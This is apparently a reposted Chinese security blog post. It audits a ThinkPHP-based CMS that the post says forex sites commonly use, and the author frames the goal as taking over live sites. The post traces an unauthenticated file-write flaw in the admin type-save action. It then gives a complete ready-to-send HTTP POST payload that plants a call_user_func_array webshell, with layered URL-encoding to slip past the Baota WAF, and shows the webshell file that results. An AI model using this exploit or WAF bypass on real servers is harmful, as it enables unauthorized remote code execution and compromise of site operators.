某妞子发给我的一个cms，有各种注入，但是网上大部分站点都是用宝塔搭建的，并且开了waf的功能，索性审一个rce直接日下。
程序是基于ThinkPHP3.1.3进行二次开发的，直接根据特征从Github找了个源代码下来审，注入就不说了，直接看RCE：
Admin/Lib/Action/typeAction.class.php
public function add_save(){$data=pg('data');M('classify_type')->data($data)->add();$sql='CREATE TABLE index_'.$data['table_name'].' ('.$data['table_name'].'_id int(10) NOT NULL AUTO_INCREMENT,type_id int(10) NOT NULL,date int(10) NOT NULL,title varchar(99) NOT NULL,keywords varchar(99) NOT NULL,description varchar(10) NOT NULL,version_id int(10) NOT NULL,PRIMARY KEY ('.$data['table_name'].'_id)) ENGINE=InnoDB DEFAULT CHARSET=utf8;';M()->query($sql);if(!file_exists('Index/Lib/Action/'.$data['table_name'].'Action.class.php')){copy('Index/Lib/Action/messageAction.class.php','Index/Lib/Action/'.$data['table_name'].'Action.class.php');$content=read_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php');$content=str_replace('messageAction',$data['table_name'].'Action',$content);write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);copy_dir('Index/Tpl/message','Index/Tpl/'.$data['table_name']);}echo '操作成功';}
直接从参数获取data数组，没有任何检验/过滤/认证，后面用了write_file函数，跟进去看看
ThinkPHP/Common/common.php
function write_file($path,$data){creat_file($path);$fp=fopen($path,"w+");if(!fwrite($fp,$data)){return false;}else{fclose($fp);return true;}}
很简单的一个函数，根据参数直接写文件，再回头看看刚才的代码：
write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);文件名是php格式，如果$content可控，那就直接RCE了，$content内容是复制Index/Lib/Action/messageAction.class.php的，然后根据指定参数进行替换，先看下代码：
Index/Lib/Action/messageAction.class.php
class messageAction extends Action {public function index(){$this->display();}public function details(){$this->display();}public function add_save(){$data = pg('data');$type_id = $data['type_id'];$classify_id = pg('classify_id');$table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');$content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();foreach($list as $k => $v){$data[$v['field_name']]=serialize($data[$v['field_name']]);}$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();foreach($list as $k => $v){if(!empty($_FILES[$v['field_name']]['tmp_name'])){$data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));}}$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();foreach($list as $k => $v){$data[$v['field_name']]=strtotime($data[$v['field_name']]);}$id = M($table_name)->data($data)->add();M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();$this->success('提交成功');}}
也就是第二行的messageAction会替换成参数指定的，但是文件名同时也会被修改，所以很多Payload在这边是没办法使用的，然后还有一个宝塔WAF要绕过，直接给Payload：
POST /admin.php?m=type&a=add_save HTTP/1.1Host: www.xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: */*Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 205Connection: closePragma: no-cacheCache-Control: no-cachedata%5Bdate%5D=1606456937&data%5Btype_name%5D=123&data%5Btable_name%5D=abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class &data%5Bpage_name%5D=index
大部分的函数在流量就被拦截了，但是他忽略了urlencode，只需要多弄几个urlencode就可以绕过流量了。
最后建立的文件长这样：
http://www.xxx.com/Index/Lib/Action/abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action.class.phpclass abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action extends Action {public function index(){$this->display();}public function details(){$this->display();}public function add_save(){$data = pg('data');$type_id = $data['type_id'];$classify_id = pg('classify_id');$table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');$content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();foreach($list as $k => $v){$data[$v['field_name']]=serialize($data[$v['field_name']]);}$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();foreach($list as $k => $v){if(!empty($_FILES[$v['field_name']]['tmp_name'])){$data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));}}$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();foreach($list as $k => $v){$data[$v['field_name']]=strtotime($data[$v['field_name']]);}$id = M($table_name)->data($data)->add();M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();$this->success('提交成功');}}
作者：hzllaga来源：https://wtfsec.org/posts/%e6%9f%90%e5%a4%96%e6%b1%87%e5%b8%b8%e7%94%a8cms%e9%80%9a%e7%94%a8%e6%9c%aa%e6%8e%88%e6%9d%83rce/如有侵权，请联系删除
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原文始发于微信公众号（HACK学习君）：实战 | 某外汇常用CMS通用未授权RCE
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